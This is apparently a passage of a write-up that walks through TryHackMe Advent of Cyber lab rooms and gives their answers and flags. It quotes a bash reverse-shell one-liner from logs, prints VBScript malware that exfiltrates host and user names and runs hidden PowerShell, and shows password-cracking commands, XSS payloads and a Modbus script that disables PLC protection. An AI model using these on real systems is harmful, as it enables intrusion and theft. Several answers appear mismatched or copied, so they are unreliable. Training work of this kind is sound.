+short<br>&quot;KEY3:n3w_xm45&quot;</pre><p><em>Since THM, didn’t really elaborate on what this does here’s. a little more info:</em></p><blockquote>It sends a DNS query to the server <strong>10.48.158.111</strong> asking for the <strong>TXT record</strong> of the domain <strong>key3.tbfc.local</strong>, and the +short flag makes the output show only the TXT response instead of the full detailed dig results.</blockquote><p><strong>Ans:</strong> n3w_xm45</p><p><em>Combined key — </em><em>3aster_15_th3_n3w_xm45</em></p><h4>5) Which port was the MySQL database running on?</h4><p><strong>Ans:</strong> 3306</p><h4>6) Finally, what’s the flag you found in the database?</h4><pre>tbfcapp@tbfc-devqa01:~$ mysql -D tbfcqa01 -e &quot;show tables&quot;                                                               <br>+--------------------+                                                                                                   <br>| Tables_in_tbfcqa01 |                                                                                                   <br>+--------------------+                                                                                                   <br>| flags              |                                                                                                   <br>+--------------------+                                                                                                   <br>tbfcapp@tbfc-devqa01:~$ mysql -D tbfcqa01 -e &quot;select * from flags&quot;                                                       <br>+----+------------------------------+                                                                                    <br>| id | flag                         |                                                                                    <br>+----+------------------------------+                                                                                    <br>|  1 | THM{4ll_s3rvice5_d1sc0vered} |                                                                                    <br>+----+------------------------------+</pre><p><strong>Ans:</strong> THM{4ll_s3rvice5_d1sc0vered}</p><h2>Network Discovery — Scan-ta Clause</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Discover Network Services</h2><h4>1) What is the flag provided when SOC-mas is restored in the calendar?</h4><p><em>This is a pretty straight forward room, just follow the instructions</em></p><p><strong>Ans:</strong> THM{XMAS_IS_COMING__BACK}</p><h2>Passwords — A Cracking Christmas</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Attacks Against Encrypted Files</h2><h4>1) What is the flag inside the encrypted PDF?</h4><p><em>Cracking the password via the wordlist:</em></p><pre>ubuntu@tryhackme:~/Desktop$ pdfcrack -f flag.pdf -w /usr/share/wordlists/rockyou.txt <br>PDF version 1.7<br>Security Handler: Standard<br>V: 2<br>R: 3<br>P: -1060<br>Length: 128<br>Encrypted Metadata: True<br>FileID: 3792b9a3671ef54bbfef57c6fe61ce5d<br>U: c46529c06b0ee2bab7338e9448d37c3200000000000000000000000000000000<br>O: 95d0ad7c11b1e7b3804b18a082dda96b4670584d0044ded849950243a8a367ff<br>found user-password: &#39;naughtylist&#39;</pre><p><em>I just opened the file and entered the cracked password.</em></p><p><strong>Ans:</strong> THM{Cr4ck1ng_PDFs_1s_34$y}</p><h4>2) What is the flag inside the encrypted zip file?</h4><p><em>I created a hashed text and used </em><em>john to crack the hash:</em></p><pre>ubuntu@tryhackme:~/Desktop$ zip2john flag.zip &gt; ziphash.txt<br>ubuntu@tryhackme:~/Desktop$ cat ziphash.txt <br>flag.zip/flag.txt:$zip2$*0*3*0*db58d2418c954f6d78aefc894faebf54*d89c*1d*b8370111f4d9eba3ca5ff6924f8c4ff8636055dce00daec2679f57bde1*57445596ac0bc2a29297*$/zip2$:flag.txt:flag.zip:flag.zip<br>ubuntu@tryhackme:~/Desktop$ john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])<br>Cost 1 (HMAC size [KiB]) is 1 for all loaded hashes<br>Will run 2 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, &#39;h&#39; for help, almost any other key for status<br>winter4ever      (flag.zip/flag.txt)     <br>1g 0:00:00:00 DONE (2025-12-09 17:45) 2.326g/s 9525p/s 9525c/s 9525C/s friend..sahara<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed</pre><p><em>The password: </em><em>winter4ever</em></p><p><em>I then used the password to extract the zip file. If you decided to use </em><em>unzip (like me) then you would have come across the </em><em>unsupported compression method. Just use the GUI to do it instead.</em></p><p><strong>Ans:</strong> THM{Cr4ck1n6_z1p$_1s_34$yyyy}</p><h2>SOC Alert Triage — Tinsel Triage</h2><h2>Task 1–3</h2><p>No answer needed</p><h2>Task 4 — Investigation Proper</h2><h4>1) How many entities are affected by the Linux PrivEsc — Polkit Exploit Attempt alert?</h4><p><em>Looking at the </em><em>inux PrivEsc - Polkit Exploit Attempt incident and </em><em>Assets field:</em></p><p><strong>Ans:</strong> 10</p><h4>2) What is the severity of the Linux PrivEsc — Sudo Shadow Access alert?</h4><p><em>I checked the. </em><em>Severity field</em></p><p><strong>Ans:</strong> High</p><h4>3) How many accounts were added to the sudoers group in the…?</h4><p><em>This was visible in the </em><em>View full details drop down.</em></p><p><strong>Ans:</strong> 4</p><h2>Task 5 — Diving Deeper Into Logs</h2><h4>1) What is the name of the kernel module installed in websrv-01?</h4><p><em>I used the provided query:</em></p><pre>set query_now = datetime(2025-10-30T05:09:25.9886229Z);  <br>Syslog_CL  <br>| where host_s == &#39;websrv-01&#39;  <br>| project _timestamp_t, host_s, Message</pre><p><strong>Ans:</strong> malicious_mod.ko</p><h4>2) What is the unusual command executed within websrv-01 by the ops user?</h4><p><em>I checked the. </em><em>Severity field</em></p><p><strong>Ans:</strong> /bin/bash -i &gt;&amp; /dev/tcp/198.51.100.22/4444 0&gt;&amp;1</p><h4>3) What is the source IP address of the first successful SSH login to storage-01?</h4><p><em>This was visible in the </em><em>View full details drop down.</em></p><p><strong>Ans:</strong> 172.16.0.12</p><h4>4) What is the external source IP that successfully logged in as root to app-01?</h4><p><em>The query I used:</em></p><pre>Syslog_CL  <br>| where host_s == &#39;app-01&#39;  <br>| project _timestamp_t, host_s, Message</pre><p><strong>Ans:</strong> 203.0.113.45</p><h4>5) Aside from the backup user, what is the name of the user…?</h4><p><em>This was visible in the </em><em>View full details drop down.</em></p><p><strong>Ans:</strong> deploy</p><h2>XSS — Merry XSSmas</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Discover Network Services</h2><h4>1) Which type of XSS attack requires payloads to be persisted on the backend?</h4><blockquote>A Stored XSS attack occurs when malicious script is saved on the server and then loaded for every user who views the affected page. Unlike Reflected XSS, which targets individual victims, Stored XSS becomes a “set-and-forget” attack, anyone who loads the page runs the attacker’s script.</blockquote><p><strong>Ans:</strong> stored</p><h4>2) What’s the reflected XSS flag?</h4><p><em>Enter the following script in the </em><em>Search Results box and run it:</em></p><pre>&lt;script&gt;alert(&#39;Reflected Meow Meow&#39;)&lt;/script&gt;</pre><p><strong>Ans:</strong> THM{Evil_Bunny}</p><h4>3) What’s the stored XSS flag?</h4><p><em>Enter the following script in the </em><em>Send a Message to McSkidy box and run it:</em></p><pre>&lt;script&gt;alert(&#39;Stored Meow Meow&#39;)&lt;/script&gt;</pre><p><strong>Ans:</strong> THM{Evil_Stored_Egg}</p><h2>Phishing — Phishing Greetings</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Spotting Phishing Emails</h2><h4>1) Classify the 1st email. What’s the flag?</h4><p><em>Its a </em><em>Phishing email. The correct options are </em><em>Spoofing , </em><em>Fake Invoice, </em><em>Sense of Urgency</em></p><p><strong>Ans:</strong> THM{yougotnumber1-keep-it-going}</p><h4>2) Classify the 2nd email. What’s the flag?</h4><p><em>Its a </em><em>Phishing email. The correct options are </em><em>Impersonation , </em><em>Spoofing, </em><em>Malicious Attatchment</em></p><p><strong>Ans:</strong> THM{nmumber2-was-not-tha-thard!}</p><h4>3) Classify the 3rd email. What’s the flag?</h4><p><em>Its a </em><em>Phishing email. The correct options are </em><em>Impersonation , </em><em>Sense of Urgency, </em><em>Social Engineering Text</em></p><p><strong>Ans:</strong> THM{Impersonation-is-areal-thing-keepIt}</p><h4>4) Classify the 4th email. What’s the flag?</h4><p><em>Its a </em><em>Phishing email. The correct options are </em><em>Impersonation , </em><em>External Sender Domain, </em><em>Social Engineering Text</em></p><p><strong>Ans:</strong> THM{Get-back-SOC-mas!!}</p><h4>5) Classify the 5th email. What’s the flag?</h4><p><em>This ones just a </em><em>spam.</em></p><p><strong>Ans:</strong> THM{It-was-just-a-sp4m!!}</p><h4>6) Classify the 6th email. What’s the flag?</h4><p><em>Its a </em><em>Phishing email. The correct options are </em><em>Impersonation , </em><em>Typosquatting/Punycodes, </em><em>Social Engineering Text</em></p><p><strong>Ans:</strong> THM{number6-is-the-last-one!-DX!}</p><h2>YARA Rules — YARA mean one!</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Yara Rules</h2><h4>1) How many images contain the string TBFC?</h4><p><em>First, I devised a simple rule:</em></p><pre>nano tbfc.yara</pre><pre>rule TBFC<br>{<br>    meta:<br>        description = &quot;Find TBFC keyword message left by McSkidy&quot;<br>        author = &quot;Blue Team&quot;</pre><pre>    strings:<br>        $tbfc = /TBFC:[A-Za-z0-9]+/</pre><pre>    condition:<br>        $tbfc<br>}</pre><p><em>Then, I saved and ran it:</em></p><pre>ubuntu@tryhackme:~$ yara -r tbfc.yar /home/ubuntu/Downloads/easter<br>TBFC /home/ubuntu/Downloads/easter/easter46.jpg<br>TBFC /home/ubuntu/Downloads/easter/easter52.jpg<br>TBFC /home/ubuntu/Downloads/easter/easter25.jpg<br>TBFC /home/ubuntu/Downloads/easter/easter10.jpg<br>TBFC /home/ubuntu/Downloads/easter/easter16.jpg</pre><p><strong>Ans:</strong> 5</p><h4>2) What regex would you use to match a string that begins with…?</h4><p><strong>Ans:</strong> TBFC:[A-Za-z0-9]+</p><p><em>The slashes </em><em>/ / denote a regular expression in YARA, allowing pattern-based matching.<br>The regex </em><em>TBFC:[A-Za-z0-9]+ matches the literal prefix </em><em>TBFC: followed by one or more ASCII alphanumeric characters, enabling detection of variable-length encoded messages.</em></p><h4>3) What is the message sent by McSkidy?</h4><p><em>I ran the rule again using the </em><em>-s parameter:</em></p><pre>ubuntu@tryhackme:~$ yara -r -s tbfc.yar /home/ubuntu/Downloads/easter<br>TBFC /home/ubuntu/Downloads/easter/easter46.jpg<br>0x2f78a:$tbfc: TBFC:HopSec<br>TBFC /home/ubuntu/Downloads/easter/easter52.jpg<br>0x2a2ad2:$tbfc: TBFC:Island<br>TBFC /home/ubuntu/Downloads/easter/easter16.jpg<br>0x3bb7f7:$tbfc: TBFC:me<br>TBFC /home/ubuntu/Downloads/easter/easter10.jpg<br>0x137da8:$tbfc: TBFC:Find<br>TBFC /home/ubuntu/Downloads/easter/easter25.jpg<br>0x42c778:$tbfc: TBFC:in</pre><p><strong>Ans:</strong> Find me in HopSec Island</p><h2>Containers — DoorDasher’s Demise</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Container Security</h2><h4>1) What exact command lists running Docker containers?</h4><p><strong>Ans:</strong> docker ps</p><h4>2) What file is used to define the instructions for building a Docker image?</h4><p><strong>Ans:</strong> dockerfile</p><h4>3) What’s the flag?</h4><p><em>I navigated to the root directory and found the flag:</em></p><pre>deployer@25babd229036:~$ cd ..<br>deployer@25babd229036:/home$ ls<br>deployer<br>deployer@25babd229036:/home$ cd ..<br>deployer@25babd229036:/$ ls<br>app  boot  etc       home  lib32  libx32  mnt  proc                root  sbin  sys  usr<br>bin  dev   flag.txt  lib   lib64  media   opt  recovery_script.sh  run   srv   tmp  var<br>deployer@25babd229036:/$ cat flag.txt <br>THM{DOCKER_ESCAPE_SUCCESS}</pre><p><strong>Ans:</strong> THM{DOCKER_ESCAPE_SUCCESS}</p><h4>4) Bonus Question: There is a secret code contained…?</h4><p><em>Well I expected this to be harder but apparently its just the red bold texts combined.</em></p><p><strong>Ans:</strong> DeployMaster2025!</p><h2>Web Attack Forensics — Drone Alone</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Web Attack Forensics</h2><p><em>Decoding the base64 string gives:</em></p><p>This is now Mine! MUAHAAHAA</p><h4>1) What is the reconnaissance executable file name?</h4><p><strong>Ans:</strong> whoami.exe</p><blockquote>Attackers often use the whoami command immediately after gaining code execution to determine which user account their malicious process is running as.</blockquote><h4>2) What executable did the attacker attempt to run through…?</h4><p><em>The following query helps to uncover malicious activity and reveals the executable:</em></p><pre>index=windows_apache_error (&quot;cmd.exe&quot; OR &quot;powershell&quot; OR &quot;Internal Server Error&quot;)</pre><p><strong>Ans:</strong> PowerShell.exe</p><h2>Forensics — Registry Furensics</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Investigate the Gifts Delivery Malfunctioning</h2><p><em>Navigating via the bookmarks is very helpful — just a tip</em></p><h4>1) What application was installed on the dispatch-srv01 before...?</h4><p><em>Following the table, I first imported the </em><em>Software hive and then checked the following location for installed applications and noticed something out of the ordinary:</em></p><p>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</p><p>`DroneManager Updater (64-bit)``</p><p><strong>Ans:</strong> DroneManager Updater</p><h4>2) What is the full path where the user launched the application from?</h4><p><em>I imported the </em><em>NTUSER&gt;DAT hive and searched the following path:</em></p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist</p><p><em>To make things easier I searched for </em><em>drone in the search bar and voila:</em></p><p>C:\Users\dispatch.admin\Downloads\DroneManager_Setup.exe</p><p><strong>Ans:</strong> dockerfile</p><h4>3) Which value was added by the application to maintain persistence on startup?</h4><p><em>I went back to the </em><em>Software hive and looked at the following path:</em></p><p>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</p><p><em>This was the suspicious value — </em><em>drone helper</em></p><p><strong>Ans:</strong> &quot;C:\Program Files\DroneManager\dronehelper.exe&quot; --background</p><h2>CyberChef — Hoperation Save McSkidy</h2><h2>Task 1 &amp; 2</h2><p>No answer needed</p><h2>Task 3 — First Lock — Outer Gate</h2><h4>1) What is the password for the first lock?</h4><p><em>The guard’s name in base64 is </em><em>Q290dG9uVGFpbA==</em></p><p><em>The magic question — </em><em>What is the password for this level?</em></p><p><em>Encoded magic question — </em><em>V2hhdCBpcyB0aGUgcGFzc3dvcmQgZm9yIHRoaXMgbGV2ZWw/</em></p><p><em>Response (Decoded) — </em><em>Here is the password: SWFtc29mbHVmZnk=</em></p><p><em>Single from base64 — </em><em>Iamsofluffy</em></p><p><em>The username is in base64 and the password is single from base64 conversion.</em></p><p><strong>Ans:</strong> Iamsofluffy</p><h2>Task 4 — Second Lock — Outer Wall</h2><h4>1) What is the password for the second lock?</h4><p><em>The guard’s name in base64 is </em><em>Q2Fycm90SGVsbQ==</em></p><p><em>The magic question — </em><em>Did you change the password?</em></p><p><em>Encoded magic question — </em><em>RGlkIHlvdSBjaGFuZ2UgdGhlIHBhc3N3b3JkPw==</em></p><p><em>Response (Decoded) — </em><em>Here is the password: U1hSdmJHUjViM1YwYjJOb1lXNW5aV2wwSVE9PQ==</em></p><p><em>Double from base64 — </em><em>Itoldyoutochangeit!</em></p><p><em>The username is in base64 and the password is double from base64 conversion.</em></p><p><strong>Ans:</strong> Iamsofluffy</p><h2>Task 5 — Third Lock — Guard House</h2><h4>1) What is the password for the third lock?</h4><p><em>The guard’s name in base64 is </em><em>TG9uZ0VhcnM=</em></p><p><em>The magic question — </em><em>Password please</em></p><p><em>Encoded magic question — </em><em>UGFzc3dvcmQgcGxlYXNl</em></p><p><em>Response (Decoded) — </em><em>Here is the password: IQwFFjAWBgsf</em></p><p><em>Key — </em><em>cyberchef</em></p><p><em>From base64 to XOR Password with Key — </em><em>BugsBunny</em></p><p><em>The username is in base64 and the password is base64 to XOR conversion.</em></p><p><strong>Ans:</strong> BugsBunny</p><h2>Task 6 — Fourth Lock — Inner Castle</h2><h4>1) What is the password for the fourth lock?</h4><p><em>The guard’s name in base64 is </em><em>TGVubnk=</em></p><p><em>The magic question — </em><em>Password please</em></p><p><em>Encoded magic question — </em><em>UGFzc3dvcmQgcGxlYXNl</em></p><p><em>Response (Decoded) — </em><em>Here is the password: b4c0be7d7e97ab74c13091b76825cf39</em></p><p><em>MD5 cracked password — </em><em>passw0rd1</em></p><p><em>The username is in base64 and the password is the cracked md5 hash</em></p><p><strong>Ans:</strong> BugsBunny</p><h2>Task 7 — Fifth Lock — Prison Tower</h2><h4>1) What is the password for the fifth lock?</h4><p><em>The guard’s name in base64 is </em><em>Q2FybA==</em></p><p><em>The magic question — </em><em>Password please</em></p><p><em>Encoded magic question — </em><em>UGFzc3dvcmQgcGxlYXNl</em></p><p><em>Response (Decoded) — </em><em>Here is the password: ZTN4cDB5T3VwNDNlT2UxNQ==</em></p><p><em>Recipe — </em><em>1</em></p><p><em>Key — </em><em>cyberchef</em></p><p><em>From Base64 ⇒ Reverse ⇒ ROT13 converted password — </em><em>51rBr34chBl0ck3r</em></p><p><em>The username is in base64 and the password is the From Base64 ⇒ Reverse ⇒ ROT13 converted password.</em></p><p><strong>Ans:</strong> 51rBr34chBl0ck3r</p><h4>2) What is the retrieved flag?</h4><p><strong>Ans:</strong> THM{M3D13V4L_D3C0D3R_4D3P7}</p><h2>Obfuscation — The Egg Shell File</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Obfuscation &amp; Deobfuscation</h2><h4>1) What is the first flag you get after deobfuscating…?</h4><p><em>Using the </em><em>From Base64 conversion, I got - </em><a href="https://c2.northpole.thm/exfil"><em>https://c2.northpole.thm/exfil</em></a></p><p><em>After running the script I got: </em><em>THM{C2_De0bfuscation_29838}</em></p><p><strong>Ans:</strong> `THM{C2_De0bfuscation_29838}</p><h4>2) What is the second flag you get after obfuscating…?</h4><p><em>Using the </em><em>XOR followed by the </em><em>To Hex conversion, I got - </em><em>74 76 79 73 6e 1a 74 76 79 72 1a 76 67 7e 1a 7c 72 6e</em></p><p><em>After running the script I got: </em><em>THM{API_Obfusc4tion_ftw_0283}</em></p><p><strong>Ans:</strong> THM{API_Obfusc4tion_ftw_0283}</p><h2>ICS/Modbus — Claus for Concern</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — SCADA (Supervisory Control and Data Acquisition)</h2><h4>1) What port is commonly used by Modbus TCP?</h4><p><strong>Ans:</strong> 502</p><h2>Task 3 — PLC &amp; Modbus Protocol</h2><p><em>This was a simple room in terms of the work you have to do to get the flag but it packs a lot of information.</em></p><h4>1) What’s the flag?</h4><p><em>Run the following script with python3, make sure to change the Ip if you are copying this.</em></p><pre>#!/usr/bin/env python3<br>from pymodbus.client import ModbusTcpClient<br>import time</pre><pre>PLC_IP = &quot;10.49.128.22&quot;<br>PORT = 502<br>UNIT_ID = 1</pre><pre>def read_coil(client, address):<br>    result = client.read_coils(address=address, count=1, slave=UNIT_ID)<br>    if not result.isError():<br>        return result.bits[0]<br>    return None</pre><pre>def read_register(client, address):<br>    result = client.read_holding_registers(address=address, count=1, slave=UNIT_ID)<br>    if not result.isError():<br>        return result.registers[0]<br>    return None</pre><pre># Connect to PLC<br>client = ModbusTcpClient(PLC_IP, port=PORT)</pre><pre>if not client.connect():<br>    print(&quot;Failed to connect to PLC&quot;)<br>    exit(1)</pre><pre>print(&quot;=&quot; * 60)<br>print(&quot;TBFC Drone System - Christmas Restoration&quot;)<br>print(&quot;=&quot; * 60)<br>print()</pre><pre># Step 1: Check current state<br>print(&quot;Step 1: Verifying current system state...&quot;)<br>time.sleep(1)</pre><pre>package_type = read_register(client, 0)<br>protection = read_coil(client, 11)<br>armed = read_coil(client, 15)</pre><pre>print(f&quot;  Package Type: {package_type} (1 = Eggs)&quot;)<br>print(f&quot;  Protection Active: {protection}&quot;)<br>print(f&quot;  Self-Destruct Armed: {armed}&quot;)<br>print()</pre><pre># Step 2: Disable protection<br>print(&quot;Step 2: Disabling protection mechanism...&quot;)<br>time.sleep(1)</pre><pre>result = client.write_coil(11, False, slave=UNIT_ID)<br>if not result.isError():<br>    print(&quot;  Protection DISABLED&quot;)<br>    print(&quot;  Safe to proceed with changes&quot;)<br>else:<br>    print(&quot;  FAILED to disable protection&quot;)<br>    client.close()<br>    exit(1)</pre><pre>print()<br>time.sleep(1)</pre><pre># Step 3: Change package type to Christmas<br>print(&quot;Step 3: Setting package type to Christmas presents...&quot;)<br>time.sleep(1)</pre><pre>result = client.write_register(0, 0, slave=UNIT_ID)<br>if not result.isError():<br>    print(&quot;  Package type changed to: Christmas Presents&quot;)<br>else:<br>    print(&quot;  FAILED to change package type&quot;)</pre><pre>print()<br>time.sleep(1)</pre><pre># Step 4: Enable inventory verification<br>print(&quot;Step 4: Enabling inventory verification...&quot;)<br>time.sleep(1)</pre><pre>result = client.write_coil(10, True, slave=UNIT_ID)<br>if not result.isError():<br>    print(&quot;  Inventory verification ENABLED&quot;)<br>else:<br>    print(&quot;  FAILED to enable verification&quot;)</pre><pre>print()<br>time.sleep(1)</pre><pre># Step 5: Enable audit logging<br>print(&quot;Step 5: Enabling audit logging...&quot;)<br>time.sleep(1)</pre><pre>result = client.write_coil(13, True, slave=UNIT_ID)<br>if not result.isError():<br>    print(&quot;  Audit logging ENABLED&quot;)<br>    print(&quot;  Future changes will be logged&quot;)<br>else:<br>    print(&quot;  FAILED to enable logging&quot;)</pre><pre>print()<br>time.sleep(2)</pre><pre># Step 6: Verify restoration<br>print(&quot;Step 6: Verifying system restoration...&quot;)<br>time.sleep(1)</pre><pre>christmas_restored = read_coil(client, 14)<br>new_package_type = read_register(client, 0)<br>emergency_dump = read_coil(client, 12)<br>self_destruct = read_coil(client, 15)</pre><pre>print(f&quot;  Package Type: {new_package_type} (0 = Christmas)&quot;)<br>print(f&quot;  Christmas Restored: {christmas_restored}&quot;)<br>print(f&quot;  Emergency Dump: {emergency_dump}&quot;)<br>print(f&quot;  Self-Destruct Armed: {self_destruct}&quot;)<br>print()</pre><pre>if christmas_restored and new_package_type == 0 and not emergency_dump and not self_destruct:<br>    print(&quot;=&quot; * 60)<br>    print(&quot;SUCCESS - CHRISTMAS IS SAVED&quot;)<br>    print(&quot;=&quot; * 60)<br>    print()<br>    print(&quot;Christmas deliveries have been restored&quot;)<br>    print(&quot;The drones will now deliver presents, not eggs&quot;)<br>    print(&quot;Check the CCTV feed to see the results&quot;)<br>    print()<br>    <br>    # Read the flag from registers<br>    flag_result = client.read_holding_registers(address=20, count=12, slave=UNIT_ID)<br>    if not flag_result.isError():<br>        flag_bytes = []<br>        for reg in flag_result.registers:<br>            flag_bytes.append(reg &gt;&gt; 8)<br>            flag_bytes.append(reg &amp; 0xFF)<br>        flag = &#39;&#39;.join(chr(b) for b in flag_bytes if b != 0)<br>        print(f&quot;Flag: {flag}&quot;)<br>    <br>    print()<br>    print(&quot;=&quot; * 60)<br>else:<br>    print(&quot;Restoration incomplete - check system state&quot;)</pre><pre>client.close()<br>print()<br>print(&quot;Disconnected from PLC&quot;)</pre><p><strong>Ans:</strong> THM{eGgMas0V3r}</p><h2>Race Conditions — Toy to The World</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Race Condition</h2><p><em>This was a pretty straightforward room, all the instructions are already given in the task and hence I’m not going to mention anything extra as its not required.</em></p><h4>1) What is the flag value once the stocks are negative for SleighToy Limited Edition?</h4><p><strong>Ans:</strong> THM{WINNER_OF_R@CE007}</p><h4>2) What is the flag value once the stocks are negative for Bunny Plush (Blue)?</h4><p><strong>Ans:</strong> THM{WINNER_OF_Bunny_R@ce}</p><h2>Malware Analysis — Malhare.exe</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Malware Analysis</h2><h4>1) What is the title of the HTA application?</h4><pre>&lt;title&gt;Best Festival Company Developer Survey&lt;/title&gt;</pre><p><strong>Ans:</strong> Best Festival Company Developer Survey</p><h4>2) What VBScript function is acting as if it is downloading the survey questions?</h4><pre>Sub Window_onLoad<br>		Call getQuestions()</pre><p><strong>Ans:</strong> getQuestions</p><h4>3) What URL domain (including sub-domain) is the…?</h4><pre>Function getQuestions()<br>		Dim IE, result, decoded, decodedString<br>		Set IE = CreateObject(&quot;InternetExplorer.Application&quot;)<br>		IE.navigate2 &quot;http://survey.bestfestiivalcompany.com/survey_questions.txt&quot;<br>		Do While IE.ReadyState &lt; 4<br>		Loop<br>		result = IE.document.body.innerText<br>		IE.quit</pre><p><strong>Ans:</strong> THM{WINNER_OF_Bunny_R@ce}</p><h4>4) Malhare seems to be using typosquatting, domains…?</h4><pre>bestfestiivalcompany</pre><p><em>Looking closely — there are two </em><em>i</em></p><p><strong>Ans:</strong> i</p><h4>5) How many questions does the survey have?</h4><pre>&lt;h3&gt;How long have you been employed at Best Festival Company?&lt;/h3&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q1&quot;/&gt; Less than 1 year&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q1&quot;/&gt; Less than 2 years&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q1&quot;/&gt; 2 years or more&lt;/label&gt;<br>									<br>			&lt;h3&gt;Do you feel valued at work?&lt;/h3&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q2&quot; /&gt;Yes&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q2&quot; /&gt;No&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q2&quot; /&gt;Indecisive&lt;/label&gt;<br>			<br>			&lt;h3&gt;Do you feel content with your current salary?&lt;/h3&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q3&quot; /&gt;Yes&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q3&quot; /&gt;No&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q3&quot; /&gt;Indecisive&lt;/label&gt;<br>			<br>			&lt;h3&gt;By how much do you believe your salary should increase?&lt;/h3&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q4&quot; /&gt;Up to 5%&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q4&quot; /&gt;Between 5% and 10%&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q4&quot; /&gt;Between 10% and 15%&lt;/label&gt;&lt;br /&gt;<br>			&lt;label&gt;&lt;input type=&quot;radio&quot; name=&quot;q4&quot; /&gt;More that 10%&lt;/label&gt;&lt;br /&gt;</pre><p><strong>Ans:</strong> 4</p><h4>6) The survey entices participation by promising a chance to win a trip to where?</h4><pre>&lt;div&gt;All participants will be entered into a prize draw for a chance to win a trip to the South Pole!&lt;/div&gt;</pre><p><strong>Ans:</strong> South Pole</p><h4>7) What two pieces of information about the computer it is…?</h4><pre>Function provideFeedback(feedbackString)	<br>		Dim strHost, strUser, strDomain<br>		On Error Resume Next<br>		strHost = CreateObject(&quot;WScript.Network&quot;).ComputerName<br>		strUser = CreateObject(&quot;WScript.Network&quot;).UserName</pre><p><strong>Ans:</strong> ComputerName,UserName</p><h4>8) What endpoint is the enumerated data being exfiltrated to?</h4><pre>Dim IE<br>		Set IE = CreateObject(&quot;InternetExplorer.Application&quot;)<br>		IE.navigate2 &quot;http://survey.bestfestiivalcompany.com/details?u=&quot; &amp; strUser &amp; &quot;?h=&quot; &amp; strHost<br>		Do While IE.ReadyState &lt; 4<br>		Loop<br>		IE.quit</pre><p><strong>Ans:</strong> /details</p><h4>9) What HTTP method is being used to exfiltrate the data?</h4><p><strong>Ans:</strong> GET</p><h4>10) What is the line of code that executes the contents of the download?</h4><pre>Set runObject = CreateObject(&quot;Wscript.Shell&quot;)<br>		runObject.Run &quot;powershell.exe -nop -w hidden -c &quot; &amp; feedbackString, 0, False</pre><p><strong>Ans:</strong> runObject.Run &quot;powershell.exe -nop -w hidden -c &quot; &amp; feedbackString, 0, False</p><h4>11) What popular encoding scheme was used in an attempt…?</h4><p><em>Using the </em><em>Magic option in cyberchef this seemed to be base64.</em></p><p><strong>Ans:</strong> base64</p><h4>12) What common encryption scheme was used in the script?</h4><p><em>The decoded payload:</em></p><pre>function AABB {<br>    [CmdletBinding()]<br>    param(<br>        [Parameter(Mandatory)]<br>        [string]$Text<br>    )</pre><pre>    $sb = New-Object System.Text.StringBuilder $Text.Length<br>    foreach ($ch in $Text.ToCharArray()) {<br>        $c = [int][char]$ch</pre><pre>        if ($c -ge 65 -and $c -le 90) {           <br>            $c = (($c - 65 + 13) % 26) + 65<br>        }<br>        elseif ($c -ge 97 -and $c -le 122) {      <br>            $c = (($c - 97 + 13) % 26) + 97<br>        }</pre><pre>        [void]$sb.Append([char]$c)<br>    }<br>    $sb.ToString()<br>}</pre><pre>$flag = &#39;GUZ{Znyjner.Nanylfrq}&#39;</pre><pre>$deco = AABB -Text $flag<br>Write-Output $deco</pre><p><em>Upon closer inspection of how the characters are manipulated this was pretty obvious </em><em>$c - 65 + 13. The characters are shifted by 13.</em></p><p><strong>Ans:</strong> rot13</p><h4>13) What is the flag value?</h4><p><em>I decoded the value using </em><em>ROT13 in cyberchef.</em></p><p><strong>Ans:</strong> `THM{Malware.Analysed}</p><h2>C2 Detection — Command &amp; Carol</h2><h2>Task 1 — Introduction</h2><p>No answer needed</p><h2>Task 2 — Detecting C2 with RITA</h2><p><em>I followed the instructions given in the task for the </em><em>rita_challenge.pcap</em></p><h4>1) How many hosts are communicating with malhare.net?</h4><p><strong>Ans:</strong> 6</p><h4>2) Which Threat Modifier tells us the number of hosts…?</h4><p><strong>Ans:</strong> prevalence</p><h4>3) What is the highest number of connections to rabbithole.malhare.net?</h4><p><em>I used the arrow keys to analyse different connection data. The highest was from the source </em><em>10.0.0.15</em></p><p><strong>Ans:</strong> 40</p><h4>4) Which search filter would you use to search for all…?</h4><p><em>I use the “/” to go into search mode and 